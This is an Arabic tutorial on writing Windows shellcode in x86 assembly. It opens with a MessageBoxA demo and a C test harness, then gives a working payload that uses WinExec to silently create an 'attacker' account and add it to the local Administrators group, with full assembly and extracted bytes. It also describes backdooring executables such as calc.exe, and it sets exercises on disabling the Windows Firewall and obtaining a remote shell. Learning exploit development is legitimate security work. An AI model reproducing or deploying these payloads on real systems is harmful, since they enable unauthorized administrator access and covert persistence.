Windows Shellcode
=====================================================
بعد أن قمنا بشرح الجزء المتعلق بالـ Linux, سنقوم بشرح كيفية كتابة Shellcode يعمل على الـ Windows. كما ذكرنا في المقال السابق أن الفرق بين الـ Linux و الـ Windows عند التواصل مع الـ Kernel أن الأول يستخدم System Calls بينما الثاني يستخدم Windows API.
تختلف الـ Windows API عن الـ System Calls في الطريقة التي يتم استخدام الـ Registers بها بالإضافة إلى طريقة استدعاء الـ Windows API. فمثلا عند الحاجة لجعل الـ Kernel يقوم بتنفيذ مهمة ما يجب علينا أن نقوم بالخطوات التالية:
-تحديد الـ Windows API التي نريد استخدامها.
-معرفة الـ Parameters المطلوبة لاستخدام هذه الـ Windows API. ووضعها في الـ Stack مرتبة.
-معرفة الـ Memory Address الذي يوجد به هذه الـ Windows API ووضعه في أي Register.
-عمل Call (استدعاء) للـ Register الذي تم استخدامه في الخطوة السابقة لتتم عملية التنفيذ.
هذا الرابط يحتوي على جميع الـ Windows API's التي يمكننا استخدامها
لنقم الآن بكتابة برنامج يقوم باظهار رسالة في الـ Windows مكتوب بها "Speak less, Listen More". الخطوة الأولى كما ذكرنا هي تحديد الـ API's التي سنقوم باستخدامها وهي "MessageBoxA" و "ExitProcess"
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682658(v=vs.85).aspx
الـ MessageBox API للقيام بإظهار الرسالة والـ Exit Process API لإنهاء الـ Process وإغلاق البرنامج بطريقة صحيحة.
الخطوة الثانية هي معرفة الـ Parameters المطلوبة لكل API. سنجد أن الـ MessageBox تحتاج الـ Parameters الآتية مرتبة من اليسار لليمين:
-الـ hWnd وهو handler to the owner window. في حالتنا هذه لا يوجد owner window لذلك سنستخدم Null
-الـ lpText وهو الرسالة التي سيتم عرضها وهي كما اتفقنا "Speak less, Listen More"
-الـ lpCaption وهو عنوان النافذة التي ستظهر الرسالة بداخلها. لنختار الجملة التالية: "Message From Nakerah"
-الـ uType وهو الخيار الذي سيظهر داخل النافذة على هيئة Button بمعنى هل سيظهر Button مكتوب به OK أو Cancel أو Retry أو Help. سنختار 0x00000004L ليتم عرض الخيارين Yes و No
الأمر سهل للغاية فكل هذه الـ Parameters مشروحة بالتفصيل والمطلوب فقط قراءتها لفهم معناها وما المقصود بها. لننتقل الآن إلى ExitProcess والذي لا يحتاج إلا لـ Parameter واحد فقط وهو uExitCode وسنختار 0 كما فعلنا في حالة الـ Linux للدلالة على الـ Clean Exit.
لننتقل الآن للخطوة الثالثة وهي معرفة الـ Memory Address الذي يتواجد به كل من MessageBox و ExitProcess. للقيام بذلك نستخدم أداة يطلق عليها arwin.exe.
قبل استخدام الـ API ، يجب علينا معرفة أن كل Windows API تكون متواجدة داخل أحد الـ DLL Files الخاصة بنظام التشغيل...فمثلا MessageBox متواجدة داخل User32.dll و ExitProcess متواجدة داخل Kernel32.dll. ولمعرفة أي DLL File يتواجد به الـ API التي نريد استخدامها، سنجد ذلك في على موقع Microsoft الذي يقوم بشرح كل API.
مثلا في حالة MessageBox سنجد ما يلي
وفي حالة ExitProcess سنجد ما يلي:
الآن لمعرفة عنوان الذاكرة الذي يتواجد به كل API، سنقوم باستخدام الأمر التالي على نظام التشغيل الذي نريد تشغيل الـ Shellcode عليه :
كما نرى أمامنا وجدنا أن MessageBox موجودة في العنوان 0x7642d619 ووجدنا أيضا أن ExitProcess موجودة في 0x076073b54. يرجى ملاحظة أن هذه العناوين تختلف من نظام تشغيل لآخر فما نراه بالأعلى هو Windows Vista. لذلك إذا قمت بتشغيل نفس الأمر على Windows Server 2003 أو Windows 7 ستجد نتائج مختلفة في كل مرة.
بعد أن قمنا بتجهيز جميع المتطلبات لم يبق لنا إلا كتابة الـ Shellcode وهو كما يلي
; MsgBox Windows Shellcode
global _start
section .text
_start:
;EAX will hold MessageBoxA memory address "0x7642d619"
;EBX will hold "uType" = "0x00000004" = "Yes | No"
;ECX will hold "lpCaption" = "Message From Nakerah Network"
;EDX will hold "lpText" = "Speak Less, Listen More"
;"hWnd" will be set to null = no owner window
mov eax, 0x7642d619 ;set EAX to memory address of "MessageBoxA()"
xor ebx, ebx ;null the register
mov bl, 0x4 ;set EBX to 0x4 = Yes OR No buttons
xor esi, esi ;null ESI register to use it whenever we need to push null byte
push esi ;pushing the string "Message From Nakerah Network" ending with null byte
push dword 0x6b726f77
push dword 0x74654e20
push dword 0x68617265
push dword 0x6b614e20
push dword 0x6d6f7246
push dword 0x20656761
push dword 0x7373654d
mov ecx, esp ;ECX now contains the address of "Message From Nakerah Network"
push esi ;pushing the string "Speak Less, Listen More" ending with null byte
push dword 0x2065726f
push dword 0x4d206e65
push dword 0x7473694c
push dword 0x202c7373
push dword 0x654c206b
push dword 0x61657053
mov edx, esp ;EDX now contains the address of "Speak Less, Listen More"
;Preparing the stack before calling MessageBoxA()
push ebx ;Yes | No
push ecx ;"Message From Nakerah Network"
push edx ;"Speak Less, Listen More"
push esi ;hWnd = 0 = no owner window
call eax ;call "MessageBoxA()"
;Preparing the stack before calling ExitProcess
mov eax, 0x076073b54 ;set EAX to the memory address of "ExitProcess()"
push esi ;ESI = 0 = return value
call eax ;call "ExitProcess()"
بعد استخراج الـ Shellcode كما في الأمثلة السابقة, سيكون الناتج هو
"\xb8\x19\xd6\x42\x76\x31\xdb\xb3\x04\x31\xf6\x56\x68\x77\x6f\x72\x6b\x68\x20\x4e\x65\x74\x68\x65\x72\x61\x68\x68\x20\x4e\x61\x6b\x68\x46\x72\x6f\x6d\x68\x61\x67\x65\x20\x68\x4d\x65\x73\x73\x89\xe1\x56\x68\x6f\x72\x65\x20\x68\x65\x6e\x20\x4d\x68\x4c\x69\x73\x74\x68\x73\x73\x2c\x20\x68\x6b\x20\x4c\x65\x68\x53\x70\x65\x61\x89\xe2\x53\x51\x52\x56\xff\xd0\xb8\x54\x3b\x07\x76\x56\xff\xd0"
وللتأكد من أنه يعمل بشكل صحيح على Windows Vista ، سنقوم بتجربته داخل Shellcode-Tester-For-Windows.c
/*shellcode-test-for-windows.c*/
char code[] = "Paste your shellcode here";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
ولكن هذه المرة سنقوم بعمل compile للـ code على Windows. يوجد العديد من البرامج التي يمكن استخدامها لعمل compile على الـ Windows مثل LCC Win32
عند عمل Execute للملف سنجد أنه يعمل بشكل جيد وستظهر الـ MessageBox كما أردنا
قبل الإنتقال لمثال آخر...سنلقي نظرة سريعة على شكل الـ Stack خلال تنفيذ الـ Shellcode. للقيام بذلك سنقوم بتشغيل الملف الـ EXE داخل Immunity Debugger أو يمكننا عمل copy للـ Shellcode ثم Binary Paste بداخل الـ Debugger لتشغيل الـ Shellcode داخل الـ Debugger.
سنجد أن الـ Shellcode تم عرضه كما أردنا كما في الصورة التالية والتي توضح شكل الـ Shellcode قبل تشغيله
كما سنجد أن الـ Registers و الـ Stack قد تم وضع البيانات فيهم بشكل صحيح قبل تنفيذ MessageBoxA وعمل CALL لها
ملحوظة: في حالة عمل Binary Paste يمكننا الضغط على CTRL+A لعمل Analysis للكود حيث يقوم الـ Debugger بمراجعة الكود وتوضيح إذا كان يوجد به Windows API's ويعرضها كما في الصور الآتية.
وعند تنفيذ الـ CALL EAX الذي يحتوي على MessageBox سنجد أن الـ Shellcode يعمل بشكل صحيح كما يلي
الآن يمكننا القول أن لدينا Shellcode يعمل على Windows Vista وكما ذكرنا سابقا..في حالة Windows XP أو 7 أو حتي Vista ولكن نسخة بلغة أخرى (الفرنسية أو العربية مثلا)غير المستخدمة في المثال (وهي الإنجليزية) فلابد لنا من تعديل الـ Shellcode لتصحيح الـ Memory Address الذي يتواجد به الـ API التي نقوم باستخدامها. ربما نتعرض لاحقا لكيفية كتابة Portable Shellcode يقوم بحساب الـ Memory Address لل API's المستخدمة بطريقة Dynamic بغض النظر عن نظام التشغيل المستخدم.
لننتقل الآن لمثال آخر أكثر عملية وهو كتابة Shellcode يقوم بانشاء User جديد ثم يقوم بإضافته إلى Administrators Group. في هذا المثال سنستخدم WinExec() API والتي تقوم بتنفيذ أي أمر يتم ضبطها لتنفيذه.
سنجد أنها تحتاج للـ Parameters الآتية:
lpCmdLine وهو عنوان الذاكرة الذي يتواجد به الامر المراد تنفيذه وهو ما يعني أننا يجب أن نقوم بتحميل هذا الأمر في الـ Stack كما في الأمثلة السابقة. في المثال الحالي سيكون الامر المراد تنفيذه هو
cmd.exe /c net user /add attacker pass && net localgroup administrators attacker /add
والذي سيقوم بانشاء user جديد يدعى attacker وكلمة السر الخاصة به هي pass ثم بعد ذلك يقوم بإضافته إلى local administrators group.
uCmdShow ويستخدم لتحديد الـ Behaviour الخاص بالـ Window وما إذا كان سيتم عرضها أو إخفائها. في المثال الحالي سنستخدم 0 لكي يتم إخفاء النافذة
ما يلي الشكل النهائي للكود
;WinExec() Windows Shellcode - Create new user & add it to local administrators group
global _start
section .text
_start:
;EAX will hold WinExec memory address "0x760e53e7"
;EBX will hold "lpCmdLine" = "net user /add attacker 123@123 && net localgroup administrators attacker /add"
;"uCmdShow" will be set to null = Hides the window and activates another window
mov eax, 0x760e53e7 ;set EAX to memory address of "WinExec()"
xor esi,esi ;null the register
push esi ;push null to terminiate the string that will be pushed
PUSH 0x20202064 ;pushing the string "cmd.exe /c net user /add attacker pass && net localgroup administrators attacker /add"
PUSH 0x64612f20
PUSH 0x72656b63
PUSH 0x61747461
PUSH 0x2073726f
PUSH 0x74617274
PUSH 0x73696e69
PUSH 0x6d646120
PUSH 0x70756f72
PUSH 0x676c6163
PUSH 0x6f6c2074
PUSH 0x656e2026
PUSH 0x26207373
PUSH 0x61702072
PUSH 0x656b6361
PUSH 0x74746120
PUSH 0x6464612f
PUSH 0x20726573
PUSH 0x75207465
PUSH 0x6e20632f
PUSH 0x20657865
PUSH 0x2e646d63
mov ebx, esp ;EBX now contains the address of the string
;Preparing the stack before calling WinExec()
push esi ;uCmdShow = 0
push ebx ;pointer to the string
call eax ;call WinExec()
;Preparing the stack before calling ExitProcess()
mov eax, 0x076073b54 ;set EAX to the memory address of "ExitProcess()"
push esi ;ESI = 0 = return value
call eax ;call "ExitProcess()"
بعد استخراج الـ Shellcode سيكون لدينا ما يلي
“\xb8\xe7\x53\x0e\x76\x31\xf6\x56\x68\x64\x20\x20\x20\x68\x20\x2f\x61\x64\x68\x63\x6b\x65\x72\x68\x61\x74\x74\x61\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x61\x64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x73\x73\x20\x26\x68\x72\x20\x70\x61\x68\x61\x63\x6b\x65\x68\x20\x61\x74\x74\x68\x2f\x61\x64\x64\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe3\x56\x53\xff\xd0\xb8\x54\x3b\x07\x76\x56\xff\xd0”
لنكمل باقي الخطوات كما فعلنا في المثال السابق بعمل Compile للكود وتجربته
سنجد أن الـ Shellcode يعمل بشكل جيد وبالفعل تم إضافة User جديد
ملحوظات:
-يوجد طريقتين لاستخدام الـ Shellcode خلال الـ Attacks. الأولى بداخل الـ Exploit والثانية في حالة عمل Backdooring لأحد الـ Executable Files بحيث يقوم بتنفيذ شئ ما إضافي خلال تشغيله. يمكن مثلا تعديل calc.exe ليقوم بتنفيذ شئ ما عند تشغيله دون علم المستخدم.
-في حالة استخدام الـ Shellcode داخل الـ Exploit يوجد بعض النقاط التي يجب مراعاتها وهي:
-محاولة أن يكون الـ Size الخاص بالـ Shellcode أصغر ما يمكن لاننا محكومون بالـ Size الخاص بالـ Buffer الذي يقوم باستيعاب/استقبال الـ Exploit وهو يختلف من برنامج لآخر حسب طبيعة الثغرة.
تختلف الـ Bad Characters من ثغرة لأخرى حسب البرنامج الذي يوجد به الثغرة ولا بد من تحديدها في كل حالة.
قم بكتابة Shellcode يقوم بإغلاق الـ Windows Firewall بالكلية باستخدام API غير WinExec.
خلال قيامك بأحد الـ Penetration Tests, تمكنت من إيجاد ثغرة في أحد البرامج التي يستخدمها الضحية ولكن واجهتك مشكلة أنه لا يمكنك استخدام Shellcode أكبر من 60bytes. ما هو الـ Shellcode الذي ستستخدمه وكيف ستتمكن من الحصول على Remote Shell علما بأن الضحية يستخدم Windows XP.